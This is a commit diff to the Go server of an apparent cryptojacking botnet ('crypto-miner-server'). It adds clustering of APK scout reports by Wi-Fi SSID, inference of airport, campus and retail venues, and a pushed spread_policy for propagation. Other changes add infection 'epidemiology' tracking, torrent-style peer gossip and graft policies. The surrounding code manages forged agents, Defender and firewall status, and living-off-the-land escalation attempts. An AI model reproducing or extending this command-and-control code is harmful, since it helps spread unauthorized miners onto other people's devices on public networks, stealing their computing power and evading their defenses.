Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -17,6 +17,7 @@ import (
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/epidemiology"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
@@ -170,7 +171,10 @@ type WSHub struct {
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
failureAtlas *atlas.FailureAtlas
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
|
||||
subnetGossipWhispers map[string][]atlas.GossipHint
|
||||
epidemiology *epidemiology.Tracker
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -189,6 +193,11 @@ type WSHub struct {
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
|
||||
// Scout constellation venue clustering (APK scouts reporting same SSID).
|
||||
scoutConstellationMu sync.Mutex
|
||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||
scoutAgents map[string]bool
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
@@ -217,6 +226,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
epidemiology: epidemiology.NewTracker(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -427,6 +437,11 @@ func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
}
|
||||
}
|
||||
|
||||
// PolicyErasureEnabled reports whether Reed–Solomon erasure lanes are active.
|
||||
func (h *WSHub) PolicyErasureEnabled() bool {
|
||||
return h.serverPolicySnapshot().ErasureLanesEnabled
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -914,19 +929,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
|
||||
spreadPolicy := map[string]interface{}{
|
||||
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
|
||||
}
|
||||
spreadPolicy := map[string]interface{}{}
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||
}
|
||||
}
|
||||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||||
for k, v := range scoutPolicy {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||||
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
var inherited *strategy.InheritedPhenotype
|
||||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||
@@ -977,6 +1000,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if policy.AIControlEnabled {
|
||||
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
||||
}
|
||||
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
|
||||
resp["graft_policy"] = graft
|
||||
agent.GraftSourceStrain = graft.GraftSourceStrain
|
||||
agent.GraftTier = graft.GraftTier
|
||||
}
|
||||
if h.clearance != nil {
|
||||
level := h.clearance.InitAgent(agentID, agent)
|
||||
resp["clearance_level"] = level
|
||||
@@ -999,7 +1027,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
resp["lan_seeders"] = seeders
|
||||
}
|
||||
}
|
||||
if policy.FleetTorrentEnabled && hint == "seeder" {
|
||||
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
|
||||
resp["subnet_primary_seeder"] = primary
|
||||
}
|
||||
}
|
||||
}
|
||||
h.attachEpidemiologyFix(resp, agentID)
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1352,6 +1386,38 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||||
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||||
h.ingestFleetPressure(agentID, broadcast)
|
||||
epiStats := epidemiology.StatsInput{
|
||||
FleetRole: stats.FleetRole,
|
||||
ActiveMethod: stats.ActiveMethod,
|
||||
MiningHashrate: stats.MiningHashrate,
|
||||
Hashrate15m: stats.Hashrate15m,
|
||||
GPUHashrate15m: stats.GPUHashrate15m,
|
||||
ChainExhausted: stats.ChainExhausted,
|
||||
MiningLastError: stats.MiningLastError,
|
||||
LOTLTier: stats.LOTLTier,
|
||||
JoinLane: stats.JoinLane,
|
||||
ParentAgentID: stats.ParentAgentID,
|
||||
SpreadGeneration: stats.SpreadGeneration,
|
||||
SpreadStrain: stats.SpreadStrain,
|
||||
}
|
||||
if stats.GPUMinerActive != nil {
|
||||
epiStats.GPUMinerActive = *stats.GPUMinerActive
|
||||
}
|
||||
for _, f := range stats.FailedMethods {
|
||||
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
|
||||
Method: f.Method,
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
})
|
||||
}
|
||||
for _, a := range stats.LOTLAttempts {
|
||||
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
|
||||
Tier: a.Tier,
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
})
|
||||
}
|
||||
h.observeEpidemiologyFromStats(agentID, epiStats)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
@@ -1359,6 +1425,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
SSID string `json:"ssid"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
@@ -1378,6 +1445,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
||||
if strings.TrimSpace(report.SSID) != "" {
|
||||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||||
}
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
@@ -1585,6 +1655,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
||||
|
||||
case "fleet_torrent_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -2214,6 +2290,7 @@ func (h *WSHub) tryPublishWinningPhenotype(
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
|
||||
}
|
||||
|
||||
func (h *WSHub) tryPublishScoutPhenotype(
|
||||
@@ -2549,6 +2626,14 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
|
||||
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "seer_notes_updated",
|
||||
Payload: mustMarshal(note),
|
||||
})
|
||||
}
|
||||
|
||||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||||
var warRoomBroadcastInterval = 30 * time.Second
|
||||
|
||||
|
||||
Reference in New Issue
Block a user